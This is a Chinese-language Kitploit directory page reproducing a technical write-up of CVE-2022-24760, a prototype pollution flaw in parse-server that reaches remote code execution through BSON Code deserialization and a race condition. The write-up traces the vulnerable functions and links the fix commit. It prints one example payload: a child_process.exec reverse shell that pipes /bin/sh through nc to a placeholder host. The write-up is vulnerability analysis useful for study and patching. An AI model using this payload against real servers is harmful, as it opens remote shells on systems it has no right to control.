Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-24760 — CVE-2022-24760 的详细技术分析,这是 parse-server 中的一个原型污染漏洞,可通过 BSON 序列化和竞态条件利用导致远程代码执行。 | Kitploit
工具/GitHubGitHub/tuo4n8/cve-2022-24760
漏洞分析代码分析漏洞利用Web应用程序漏洞利用
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

CVE-2022-24760 的详细技术分析,这是 parse-server 中的一个原型污染漏洞,可通过 BSON 序列化和竞态条件利用导致远程代码执行。

查看仓库
1464年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-24760


流程

image-20220331114046018

image-20220331114258164

  • 默认情况下,不需要 key 即可对数据库中的类进行增删改

image-20220331115258271


Diff 提交

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • 原型污染发生在函数 expandResultOnKeyPath 中
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult 在添加(add)和更新(update)新类时被使用。然而,要实现原型污染,必须满足 keyUpdate __op 属于 ['Add', 'AddUnique', 'Remove', 'Increment'] 的条件

  • 因此,原型 value 只能是 array 或 number

    • image-20220331132813075
    • image-20220331132823843
  • 示例请求如下:

image-20220331133133587

RCE 利用的 Sink

  • 在将数据保存到数据库之前,数据流会通过 BSON 库进行 serialize,当 _bsontype 为 Code 时,将执行 serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • 然后,数据将被反序列化,以便操作到达 sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • 使用原型污染来污染 options['evalFunctions'],从而绕过并到达 isolateEval 函数
  • 示例 Payload
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • 由于 expandResultOnKeyPath 函数的执行流程在反序列化之后才进行,因此需要持续进行竞态条件(race condition)操作,以便在到达 isolateEval 时能够触发

image-20220331145825647

下载工具